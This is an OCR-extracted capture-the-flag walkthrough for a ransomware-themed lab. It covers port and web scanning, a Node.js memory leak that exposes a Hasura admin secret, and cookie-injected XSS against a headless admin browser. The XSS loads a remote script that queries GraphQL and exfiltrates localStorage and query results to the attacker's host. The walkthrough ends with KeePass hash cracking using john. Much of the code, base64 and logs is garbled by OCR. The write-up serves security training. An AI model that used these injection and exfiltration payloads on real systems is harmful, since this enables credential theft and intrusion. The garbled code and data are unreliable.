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Walkthrough

/1_IN\

Story

One of your clients has been hacked by the Carpe Diem cyber gang and all their important files have
been encrypted. They have hired you to help them recover an important file that they need to restore
their backups. They have contacted the carpe diem cybergang and paid a ransom but have not
heard anything back. The countdown timer is ticking since they visited and they are now running out
of time to recover their data before the keys are deleted on the server. Can you retrieve the keys and
help your client restore their data before time runs out?

File available for download in room?

File: /downloads/Database.carp

Recon

nmap-scan

Only port 80 open.

Nmap scan report for 192.168.16.72

Host is up, received user-set (0.00094s latency).
Not shown: ports

Reason: 65534 resets

PORT STATE SERVICE REASON

8o/ open http syn-ack ttl 128

Device type: general purpose

Running: Linux 2.4.X
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Nikto

- NodedS Express
- Cookie: countdown
- /downloads

+ Server: nginx

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Retrieved x-powered-by header: Express

+ Cookie countdown created without the httponly flag

+ Allowed HTTP Methods: GET, HEAD

+ OSVDB-3092: /downloads/: This might be interesting...

+ 7914 requests: @ error(s) and 7 item(s) reported on remote host

+ End Time: 2020-04-15 19:46:24 (GMT2) (32 seconds)

+ 1 host(s) tested

Gobuster

/images (Status: 301)
/downloads (Status: 301)
/stylesheets (Status: 301)
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Browsing website
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/downloads

This page is here to provide a download link for an encrypted file (the one you need to recover).
Intended to look like it is suppose to show up after payment. This page also contains programs for
decrypting the file. Please note that this page is not part of the challenge, it is here to provide you
with key information.
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Source

Sourcecode reveals a javascript triggered by proof-button.

HhE *FHSSFSSSSSSISun FHGHE*
uuuu **$$$$$$$$$$uun
us$SuUUUSSFSFSI$Suu **$$$F$F$F$Suuus$S
EEEEREERREL S FHGSESSSSSSESH
*$$ESS* **$$$$** </pre><h4></h4><h2>Your key will be deleted:</h2><h3>Thu Apr 16 2020 00
var wallet = wallet;
if (wallet.trim() = 'bclq989cy4zp8x9xpxrgwpznsxx44ulcxhyjjyp78hj'){
alert('Hey! \n\nstupid is as stupid does...');
return;

}

var re = new RegExp(""([a-20-9]1{42,42})$");
if (re.test(wallet.trim())) {
var http = new XMLHttpRequest();
var url = 'http://c4rp3dl3m.net/proof/';
http.open('POST', url, true);
http.setRequestHeader ('Content-type', 'application/json');
var d = '{"size":42,"proof":"'+wallet+'"}";
http.onreadystatechange = function() {
if (http.readyState == 4 && http.status == 200) {
//alert (http.responseText);

}
http.send(d);
} else {
alert('Invalid wallet!');

}

</script><script>function clippy() {

var copyText = document.getElementById("pay");
copyText.select();

copyText.setSelectionRange(0, 99999)

document .execCommand ( "copy") ;

alert("Copied: " + copyText.value);

}</script><script>// Set the date we're counting down to
var countdown = document.cookie

var countdown countdown.replace(/%3A/g,
var countdown countdown.replace("countdown

5o0f17
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Proof

Adding c4rp3d13m.net to hostfile. The proof field has to be 42 characters long to be "valid".

wpznsxx44uOcxhyjjyp78hj Copy

xgwpznsxf32uOcxhdjjyp7¢ Send
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Burp Repeater

Playing with XHR Post. Notice "size" parameter

POST /proof/ HTTP/1.1

Host: c4rp3dl3m.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:76.0) Gecko/2010010
Accept: */*

Accept-Language: nb-NO,nb;g=0.9,n0-NO;g=0.8,n0;9=0.6,nn-NO;g=0.5,nn;g=0.4,en-US;(
Accept-Encoding: gzip, deflate

Content-type: application/json

Content-Length: 64

Origin: http://c4rp3dl3m.net

Connection: close

Referer: http://c4rp3dl3m.net/

Cookie: session=MTkyLJjE20C4xNi42NQ%3D%3D; countdown=2020-04-15T16%3A42%3A51.46181
DNT: 1

{"size":42,"proof":"bclg989cy4zp8xIxpxgwpznsxx55c0cxhyjjyp78hj"}

The response just echoes the proof.

Raw | Headers | Hex

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 15 Apr 2020 18:32:33 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 50

Connection: close

X-Powered-By: Express

ETag: W/"32-WrKsrh8YdTUWgh4Z/oiEQ4vmt8k"

Last-Modified: Wednesday, 15-Apr-2020 18:32:33 UTC

Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=

bclg989cy4zp8x9xpxgwpznsxx55c0cxhyjjyp78hj
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Tampering with the "size" parameter

We needed a way to leak information. Made a vulnerability by unsafely allocating buffer in NodeJS
and letting the attacker change the buffer size by altering the size parameter. This gives a memory
leak. It displays randomly contents of memory. As one potentially would have to run this a lot of
times to get exactly the information we wanted to leak, we hardcoded it at the end of the output. You
will have to change the size to >= 400 to get it.

request.post({ headers: {'content-type' : 'application/json', 'x-

hasura-admin-secret' : 's3cr3754uc35432' error connecting to
http://192.168.150.10/v1/graphqgl/

Network not available

One can see that Hasura GraphQL might be used here, on a network not available. One can also see
the Hasura Admin Secret is being used in the request header. Not best practise, one might say :-)

Nothing more to see here, move along...
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Back to basics

Studying the main interface, reveals cookies. The countdown collects remaining life of encryption
key. Is only set by the server. Not interesting.

D Debugger N Network {3} Style Editor () Performance {0 Memory [E) Storage Tr Accessibility

Y Filter items.

Name Value Domain I Path I Expires / Max-Age I Size HttpOnly I Secure SameS

Thu, 16 Apr 2020 07:21:1... 39 false
Thu, 16 Apr 2020 07:21:1... true

2020-04-16T06%3A43%3A27.536027 false None

MTkyLjE20C4xNi42NQ%3D%3D

countdown

c4rp3d13m.net /
c4rp3d13m.net

session false

But the session cookie is set AND read by the server. It is injectable.

It is reflected on a "admin-interface", accessed by a headless browser every minute.
This is the tricky part. It has to be base64 encoded and it cannot contain double quotation marks.

Inject a (base64 encoded) cookie that contains:

Each visit by the headless browser will request and execute a p.js script hosted on the hacker
machine (in this case, 192.168.15.29, listening on port 8000). As the database uses GraphQL, there
are some payloads we can use to query the database. However, the results of our query is not
echoed back, so we need to exfiltrate them ourselves, using XHR.

9 of 17


http://hackermachine/p.js
http://hackermachine/p.js

/o N -/
L/ 0 "1 "N/ _N1>1 111 1/_\N"_">_X\N 11
N G T Y /20 O O 2 O I A
NN\, | .__/\ [ ] U INC__
[_]|
Payloads

First staged payload to do a bit recon on the "admin" browsing.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.16.73 - - [16/Apr/2020 12:00:41] "GET /p.js HTTP/1.1" 200 -
192.168.16.73 - - [16/Apr/2020 12:01:12] "GET /?g= HTTP/1.1" 200 -

No cookies. Trying localStorage instead, gives us the first of two flags.

192.168.16.73 - - [16/Apr/2020 12:09:45] "GET /p.js HTTP/1.1" 200 -
192.168.16.73 - - [16/Apr/2020 12:09:51] "GET /?q=%7B%22secret%22:%22s3cr3754uc35432%22,%2211ag1%22 : %22 THM%7BSo_Far_So_Good_So_What%7D%22%7D HTTP/1.1" 200 -

THM({ Redacted }
The first payload to retrieve the schema information from GraphQL looks like this:

The first XMLHttpRequest sends the POST to the GraphQL, with the additional header for

authentication. When the results come back, the onreadystatechange function will do a GET request

back to the attacker machine, and include data from localstorage and the query results as base64
encoded parameters. To complete this XSS injection, this payload needs to be base64 encoded and

wrapped into the p.js file we refered to in the injected cookie.
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http://192.168.15.29:8000/?status='+this.status+'&localstorage='+btoa(JSON.stringify(localStorage))+'&data='+btoa(this.responseText),false)
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Andreas Finstad
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Payloads, injection

The encoded and wrapped p.js file looks like this:

Please note that you need to encode the base64 without linebreaks as well.
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Payloads, exfiltration

If all goes well, our web server is hit with an exfiltration request:
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Payloads, exfiltration, continued

Decoding (parts of) the data parameter shows schema information for GraphQL.:

"data": {
"__schema": {
"types": [
{

"name": "Boolean"

-

"name": "Float"

.

"name": "ID"

.

"name": "Int"

-

P e L T SR )

"name": "Int_comparison_exp"
hl

When we add the description field to the GraphQL query we get extra information on each of names:

{
"name": "victims",
"description": "columns and relationships of \"victims\""

s

"name": "victims_aggregate",

"description": "aggregated selection of \"victims\""

s

"name": "victims_aggregate_fields",

"description": "aggregate fields of \"victims\""

s

"name": "victims_aggregate_order_by",

"description": "order by aggregate values of table \"victims\""

s

We S { "name": "victims_arr_rel_insert_input", oo, a CIaSSicaI database)_ NOW

"description": "input type for inserting array relation for remote table \"victims\"

1,
we Klow uie udlaudse we cdil query 1t 1or mnorrnauori.
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Schema exfiltrated

https://qithub.com/swisskyrepo/PayloadsAllTheThings/tree/master/
GraphQL %20Injection#fenumerate-database-schema-via-introspection
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Sifting through all the data received, we manage to get table and columns.

This gives us all we need to make a query

192.168.16.73 - - [16/Apr/2020 13:59:11] "GET /p.js HTTP/1.1" 304 -
192.168.16.73 - - [16/Apr/2020 13:59:17] "GET /?data=ey]kYXRhIjp7InZpY3RpbXMiOlt7ImZpbGVuYW11IjoibWLyZWRvLmNvbmYiLCIpZCI6NjksImtleSI6ILIXMUVKM1pOVIASYWVXRmpPVGRATTFCMEIGUXpUA@SGWTBKRGIETKt1bKEXYTFGZ1ZGQmZXWFo2WLZONU
1uQXVUa3BKVjFOVWFUUNNaMGxXUVZaV1VnPTOiLCIuYW11IjoiMTkyL JE20C42Ni4xMi IsInRpbWVyIjoiMjAyMCOWNCOXNVQyMDo1NjoxMy4yMDMzMDMi f SwgeyImaWix1bmFtZSI6Im1vZHVSZXMiLCIpZCI6NZAsImt1eSI6I1p6SnITVTEYUnIKT1QxWLNRakFANWIAMGRXTkd1SEZYT

1ZGML. JTISh! ivzhmt J SVIVRK9RaOST! pnPTO1LCIUYWITIjoiMTkyL jE20C42Ni4xMTE1LCIQAW11ciI6TJIWMIAtMDQEMTVUMIAGNTY6MZMUOTEXMTQZ IN@s THs 1 Zml sZWShbWU101ImdXN1LmNvbmYiLCIpZCI6NZEsImt1eST6TKIT
CGhXaTUWVW1ONVNFVkJORZhZZW1seE@zaHpPR1pDVIROM1L6RmpXR1ZWTWERML0ZZDBORWNAUKZKNMNHS1diR1pZWTNGUOLVCEXSRXBFWVhSCMR3PTO1LCIUYW11Ij0iMTkyL JE20C42N14yMDATLCI@aW11ciI61IwMjAtMDQEMTVUMIAGNTCEMDAUMZK40TQ1IN@sIHs1Zml sZWShbWU
101JWYXBlcnNpemUilCIpZCI6NzIsImt1eSIGILT: JAFMmFFS1 IVKRVMUJDTGK 1) TVKW] JaSFEWVTJiMHRKWnpoR2NsaF pURzUzZURFM1UXRXThMLZL YWpCak 1BPT@1LCIuYW11IjoiMTkyL jE20C42Ni4x0DgiLCI@aW11lciI6T IwMIAEMDQEMT
VUM3AGNT c6MjYuMzQ4MTAXIN@s THs1Zml hbWU101J! iwiaWQi0jQ5LCIrZXki0iIyMmlBZ2FDN104Q1QOK110aUNCV3VPTFhXdWMrSkttS2Y2WFpSbnVDZ1RLI 60S9tSGVERT! BrU@1IeG5RM1ZhVUQ QTOITiwibmFtZSI6Ijc3L

JEINC4YNTAUNTQiLCI@aW11ciI6LjIwMjAtMDMEMTLUMTEEMjK6NDGUNTIZNZUZIn@sIHs1ZmlsZWShbWUi0iJUcmFuc2Z1cnMuY3N2TiwiaWQi0jQyLCIrzXki0iJ3NjhDN1ByURIaONMV11wYkgldFVQaDRVADNvZzkxUVV@eldEMLNtbkplTkdJRFpaN@xiZXNwNKkFhOWN4MzZ2CcXNT
Q25mQ11UMEGZRmY2U21PYUk2UT@9T iwibmFtZST6I ES5Mi4xNjguNjYUMTMATiwidG1tZXT1i01iTyMDESLTAGL TASVDEWOUWOIM3LJU4NTYINSIILCB7ImZpbGVUYWI1TjoiQIRDLVdhbGX1dCS@YXTiLCIpZCI6NTASImt1eSI6IjFBY1hSYmhlaDUINZ1EbFFtY1FXNEF3bHYXUXM2dVp

Yekra2UzcG82emdeNkMyOTRpVDZZSmdNe jLUN215ZDIWZ3ZL eFMreXVaemlQYOLDTFhINZVAPTO1 LCIUYWI1 Tjoi JuMUUNCT /yTjoiMjAYMCONNC 43N YSM3 Y1 SwgeyImalixLbmF tZSI6ImFyY2hpdnUuemLwiwi ahQi0jQzL CIrZXki0i INdH
dDNTNQC@1hRDBUA135Q3Ivd1 10QnhF SHFYalNONOLVb11VU3VAOUoWMzZpZLNnWHRXUGRWBUF JZHF NVFY292NNgaNxaE9vbTI3b0t LalVkUTO9 T iwi bmF tZST61jI2L JMOL JEZMi4xTiwi dGLtZXTi0i IyMDESLTAXLTEXVDERO U0 M3L I YXNZE4NyJOLCB7InZpbGVuYWLLTjoib
WFOCGXvGXpYnFLiwialQi0jczL CIrzXkiOt JkekF3TmsxbVIWRXAZMGXVYT. 5a2dSTWAT2IWUKIOF e TpNY PEbGIVRA16Y EVKZZ09TiwibmFtZST6IJESMi 4xNjguMCaxMi Is InRpbVYT j01MjAYMCONNCOXNVQY

MDOINZoOMS4zMJEWOTCi FSwgeyImalix bmFtZSI6Ikvb2tzLnhscyIsIml kI oONSwia2VSIjoi cHVrZUnybGxib1FMUEtsRZcxeUVHVUZpVjFibVhCdZmYWRyaE1qeURSTTZiWnpyR11YdEZQOHVOMTNORHE 2aUVEL251 SDhXLy9YSUN3NCOML25 jNLEOPS TS ImShbWUi 01 IXOTIUMTY
4LJEIMC4xTiwidGltZXT10i IyMDIALTAOL TEQVDEWOFU203MLL jY20TkyNyJOLCB7ZImZpbGVuYW111j01RGFOYWIhc2Uua2)4ZCIsInl kI jo00Cwia2V5I joiRi tsUkc2QXMyZTFxQmQzL zdkUFR2Y21bHVVRWpNA2 txMj JLNnpCSHNQOFpGMUXLSkxzYXIVS2dtaHcrUDhvINnZCUBpVWE
dpR1Z3UnVIeGIUUVKAVGCIPSISInShbWUi0i IXOTUUMJAOL JE30CA4NCTs: /yTj0iMjAYMCOANC NC4ZODMxMzY i FSwgeyImalix LbmFtZSI6InByb3RvY29scyS0eHQiL CIpZCIEN]YsImt1eSI6InI rMHVKREZpYLhFemFEW BRalpLUGAONE SDERGRUPFYkdKU
10wdG9SaZRPUZt4cVNs CFIKRVIOUILA1VDONXLVa2xaYXpKTVVpNHhMbTFTGEWNMRNPT@ LCIUYW1T joiMTkyL JE20CAXNCAONS I TnRpbVy T30 iMIAYMCOANCOXNVQyMDOIMI0BNS4 INTMXMDC1 FSwgey Jmalkix bmFtZST6Imlhakix jYXAub3IkZXI1LCIpZCIBNjcsImt1eSI6I1ZF
F1SFIHVGLWQMMNCGISRWN3VTNGNVLETn1 TMFZMYmxRAUSE JUMNXhUVANTGQyVndi bTEZV214NmNucHhTVUSTZE dNMLNS ZDISbVpvUn@SWRnPTO1 LCJuYW111 joiMTkyL JE20C4xNi 44Ny ISTnRpbWVyT oiMjAyMCOMNCOXNVQyMDOINTonMy43MT T2MDC1 FSwgey JmalixLbmFtZST
6ImRLYmNvbmYuY29uZi IsIml kIj020Cwi a2VSTjoiWkU1cVZIaGIOMFphZGk1alIxaGpPSESGTKZORT LURTZNBDEWKCSALL tbGLZbVEQTVCXcmQXUNZSVVI2ZEZoaF 0zcFVVbGhIYZJOTmF rbF JSVLPHTUE9PS Is ImShbWU1 01 IXOTUUMJAGL E2Ny4xMCTS InRpbVy I joiMiAYMCOWNC
OxNVQYMDOINTOIMC4xNTI3NTE i fSwgey Jmalix LbmFZST6ImNyb250YWI iLCIpZCIENZQs Imt 1eSTETINGRMFVMHBDVFhKVWNE ST1XbFpRUFTSb1kyWL1a3d6V2s1SmVUUK taWFEQTVA4QIRURTI1a3BEV1 YSUE@ZYZJTRFpHZURKSF JTWLVTRWRhVIRGGVIRPTOLCIUYWILT joiMTkyL
jE20C42Ni4xTiwidGLtZXT101IyMDIWLTAGLTEIVDINOUA0 A4L jgzMzMaMyIOLCB7ImZpbGVUYWLLT joi d2d1dHIj TiwiahQi0jc1LCIrZXki0l JOVUPGHIBIWGNGQKhTVIthZY1Z0eE 1GWL pMbXBGVOZSQZRteEZNSHAX T ObWNEUL pLRGRYZFVZNFVYQmhZMVISVUAKVFZEUKRRMLZS
YKRobFdXZHpOQT@IT iwibmFtZSI6IESMi4xNjguMTYUNjUiLCIOGWL1ciI6TIwMjALMDQEMTZUMDYENDMEM ) CUNTM2MDI3Inds IHs1Zml sZWShbIWUL01 JwYXNzd2Qi L CIpZCT6NZYs It 1eSI6IMRUNXp3VOPLY25rMIFWRLVRbIQYWBONVFVUN1Va3B1UOVWakIGVLRPQZVYVIRFMUL

p p aM1. YWIWTFFRPTO1LCIuYW11Tj0iMTkyL jE20C4xNi42NSTSInRpbNVyI joiMjAYMCOWNCOXNLQWNjoOMzoyNy4INDIZNQi FSwgey ImaWxLbmF+ZST6IndzaGFkb3cil CIpZCI6Nzcs Imt1eST6ImRrbFROMLZMAMLKMVZXRKRV1pXZU
RSTFFdHpkMGA3Y1ZnMLRVVKL JHRLFKRFpZWIISSELYVINZ jaTVEYkhSd2) rTL IWMHM1ZEGWS1RAPT@1LCIUYWLLTj0iMTAUMIEyL JEZNCAYMDALLCI@GN11 1 T615 InMIAtMDQEMTZUMDCOMT CEMDAUNZK30TY2In@s IHs i Zl sZWShbWUi0i JsZC5zbyS jb25mIiwi ahQio
JCALCIrZXKi01IUVGA3ZIEWZ1 FSNURTRFOXY2tGal VFUMLSR1ITVHXKRIVUZGKRTEWNNrMGNXWkp1 SESEYmpoV1dISL10V2xmTGtOMVAEULVha3hFZWxKM2VuT JRWZZ09Tiwi bmF tZST6T1EwL j TxMi4xMzQuMAWT iwi dGLZXT101 IyMDIWLTAGLTE2VDA30IE30AWL jgNTIX0SJ9
LCB7ImZpbGVUYWLLT joi bWFnaWMudHhOTiwiaWQi0jc5LCIrZXki0iJ1bUk@UOVOWL FXODVHINFpyVG1aTUxqWkoVel EwVldoeGVYRIBYMFZrVDFZeF ZUS jRhSGRTWVhaMLIGVnRVR3BZTWSCUELFTLNRMARKWDJ seGRUNmL JUTO9TiwibmF tZST6Tjx2Y3JpcHQgC3]3PSdodHRWO 1 8VMTA
uM3EyL EZNC4yMDAGODARMCOWLpzz48L3Nj cmlwdDScbi ISINRpbWVYI joiMjAYMCOWNCOXNLQWNZOyMzoZMCAINTkxMz 1 FSwgeyImaxLbmF+ZST6ImZzdGF1 Tiwi alQi0jgwLCrZXki01IZbESPVDFKQLQWCF FSVZUy TTNWVIIURnh jamxPULWOWQNRmXAM3UZWTFSSVUXZF1ZVF

aG5hVjloUj VUUXYV 1iwibmFtZSI61jxzY3JpcHQgc3jPSdodHRWO18vMTkyL JE20C4xN1420C9wLmpz]z48L 3NjcmlwdD41LCIQaN11ciI6IjIwMjALMDQtMTZUMDKENTMEMZAUNTMSMZMOINGS THS 1 ZmLsZWShbWU101JjenlwdHRhYiIsT
m'l kIjo4MSwia2VSIjoiYVdOaklsZE1OREpaWN1aWFNrNUpOR1F3VFVGAVNXAFRTVXBDY1RWSGF6VNdVMGXRT1dOMVkxcEJVazh3VEVSMWTYVT ] SbmxuYWxZNFoxR1BRWGhXYVE9PST: hbWU101I8c VLZE5Mi4xNjguMTYuNjgvcCSqcyc+PC9zY3IpcHQ+
TiwidGltZXI1i01iIyMDIWLTAOLTE2VDASOjUZO ML UBN]YyMiIILCB7ImZpbGVuYW1lIjoicmViwb3J@YnVnLmNvbmYilCIpZCI60DIsImt1eSI6IKIXVK 1ZFTm1Nb TFHUQAKU: V1VOZBMGN6aFRSMZRYTGSKQ2FrNTRVDT14VGsxMFpIRIR

PRFpyYWwSaE9BPT@1LCIJuYW11IjoiPHN]cmlwd(BzcmMII2h@dHAGLY8XOTIUMTY4LFEZL jY1L3AuanMnPjwvc2NyaXBOPiIsInRpbWVyTIjoiMjAyMCOWNCOXNTQWOTOINjo@NS43MTYSN1I9XX19 HTTP/1.1" 200 -



Finding key

We get a lot of data back, but after inspecting them, we find a entry with a filename matching the
one we downloaded

Redacted

Redacted

So we have found our decryption key

Redacted I
| Redacted

Syntax for decrypt command is unknow. (They haven’t payed so...)

But testing a few combos will give them a file

oot r=/Downloads# . /decrypt_linux_amd64 F+1RG6As2elqBd3/7dPTvcmcluUEjMwkq22K62BIcP8ZF1LulLsarUKgmhw+P80ZvBSIUXGiGVcRuHxbnQY8Tg= Database.carp Data
base. kbxdll

Keepass-flle is password protected

»:~/Downloads/test# kpcli

KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli: /> open Database.kbxd
Please provide the master password: |

John the ripper

o i~/Downloads/test# keepass2john Database.kbxd > hash

o i~/Downloads/test# john hash -w=/usr/share/wordlists/rockyou.txt
Created directory: /root/.john

Using default input encoding: UTF-8

Loaded 1 password hash (KeePass [SHA256 AES 32/64])

Cost 1 (iteration count) is 60000 for all loaded hashes

Cost 2 (version) is 2 for all loaded hashes

Cost 3 (algorithm [@=AES, 1=TwoFish, 2=ChaCha]) is @ for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status

1g 0:00:00:33 DONE %2020-04-16 15:01) 0.03023g/s 113.9p/s 113.9c/s 113.9C/s antonella
Use the "—show" option to display all of the cracked passwords reliably
Session completed

Then kpcli
kpcli: /> show Database/THM -f

Path: /Database/

Title: THM

Uname: root

Pass: THM{ Redacted }
URL:

Notes:

kpcli: /> |}


Andreas Finstad
Redacted

Andreas Finstad
Redacted

Andreas Finstad
Redacted

Andreas Finstad
Redacted

Andreas Finstad
Redacted
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